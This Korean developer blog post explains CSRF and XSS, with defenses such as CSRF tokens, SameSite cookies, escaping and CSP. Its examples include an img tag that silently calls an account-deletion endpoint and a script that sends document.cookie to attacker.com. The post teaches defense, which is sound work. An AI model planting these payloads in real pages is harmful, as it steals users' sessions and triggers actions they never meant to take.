CSRF와 XSS
웹 애플리케이션을 개발하면서 반드시 고려해야 할 것이 바로 보안입니다. 특히 CSRF(Cross-Site Request Forgery)와 XSS(Cross-Site Scripting)는 자주 언급되지만, 정확한 차이나 방어 방법이 헷갈리기 쉬운 주제입니다. 이 글에서는 두 공격의 개념과 차이점, 실제 예시, 그리고 효과적인 대응 방안을 상세히 정리해 보겠습니다.
1. CSRF (Cross-Site Request Forgery)란?
CSRF는 사용자가 인증된 상태를 악용해, 사용자의 의도와 무관하게 서버에 요청을 보내는 공격입니다. 보통 사용자가 로그인된 사이트의 세션 쿠키를 이용해 악성 사이트가 서버에 요청을 보내는 방식으로 이루어집니다.
예시
<!-- 사용자가 로그인 중인 사이트가 example.com이라고 가정 -->
<img src="https://example.com/api/delete-account" />
위와 같은 코드를 포함한 피싱 페이지에 접속하면, 사용자가 따로 클릭하지 않아도 example.com에 요청이 전송되어 의도하지 않은 동작(계정 삭제 등)이 발생할 수 있습니다.
방어 방법
- CSRF 토큰 사용 : 서버가 발급한 고유 토큰을 함께 전송해야 요청을 처리하도록 설계
- SameSite 쿠키 속성 설정 : 쿠키가 타 사이트 요청에 포함되지 않도록 제한
- Referer 또는 Origin 검증 : 요청이 온 출처를 확인
2. XSS (Cross-Site Scripting)란?
XSS는 공격자가 악의적인 스크립트를 웹 페이지에 주입하여, 사용자 브라우저에서 실행되도록 하는 공격입니다. 주로 입력값 검증을 소홀히 할 때 발생합니다.
예시
<!-- 게시판에 입력한 악성 댓글 -->
<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>
이 스크립트는 페이지에 삽입되면 사용자의 쿠키를 공격자 서버로 전송할 수 있습니다.
주요 유형
- Stored XSS : 악성 스크립트가 서버에 저장됨 (게시판, 댓글 등)
- Reflected XSS : 요청 URL 등에 포함된 스크립트가 바로 응답에 반영됨
- DOM-based XSS : 클라이언트 자바스크립트가 입력값을 DOM에 직접 삽입할 때 발생
방어 방법
- 출력 시 이스케이핑: HTML, JavaScript, URL 등 맥락에 맞는 이스케이프 처리
- 입력 검증: 예상되는 데이터 형식으로만 입력 받기
- Content Security Policy (CSP): 신뢰할 수 없는 스크립트 실행 제한
3. CSRF vs XSS : 무엇이 다를까?
항목 | CSRF | XSS |
공격 대상 | 서버 | 사용자 |
주요 위험 | 사용자 인증 상태 남용 | 사용자 정보 탈취, 세션 하이재킹 |
조건 | 사용자가 로그인된 상태여야 함 | 브라우저에서 스크립트 실행 가능해야 함 |
방어법 | CSRF 토큰, SameSite 쿠키 등 | 이스케이핑, CSP, 입력 검증 등 |
4. 보안을 위한 개발자 체크리스트
- 모든 입력값에 대해 서버와 클라이언트 측 검증을 적용했는가?
- HTML 출력 시 적절한 이스케이핑을 하고 있는가?
- CSRF 토큰 또는 SameSite 속성을 설정했는가?
외부에서 삽입 가능한 스크립트를 제한하고 있는가?
5. 마무리
웹 보안은 한 순간의 실수로 심각한 피해를 초래할 수 있습니다. CSRF와 XSS는 서로 다른 방식으로 사용자와 서버를 노리지만, 모두 예방 가능하다는 공통점이 있습니다.
함께 보면 좋은 자료
블로그 글 :
[SOP와 CORS] 브라우저는 왜 내 API를 막을까?
SOP와 CORSAccess to XMLHttpRequest at 'https://api.example.com/data' from origin 'http://localhost:3000' has been blocked by CORS policy...무슨 말인지 모를 긴 오류 메시지. 이건 바로 SOP(Same-Origin Policy, 동일 출처 정책) 와 CORS(
dachaes-devlogs.tistory.com
[세션 하이재킹] 사용자의 신뢰를 가로채는 공격
세션 하이재킹(Session Hijacking) 웹 애플리케이션의 보안에서 세션은 사용자의 신뢰와 인증을 유지하는 핵심 요소입니다. 하지만 이 세션이 공격자에게 탈취된다면? 사용자는 모르게 로그인 정보
dachaes-devlogs.tistory.com
'컴퓨터 사이언스 > 보안' 카테고리의 다른 글
[JWT] 인증 시스템의 핵심 (0) | 2025.04.14 |
---|---|
[OpenID Connect] OAuth로는 부족했던 인증을 해결하다. (0) | 2025.04.13 |
[OAuth] OAuth는 인증 기술이 아니다? (0) | 2025.04.12 |
[OAuth] 로그인 없이 로그인하기 (0) | 2025.04.12 |
[SOP와 CORS] 브라우저는 왜 내 API를 막을까? (0) | 2025.04.11 |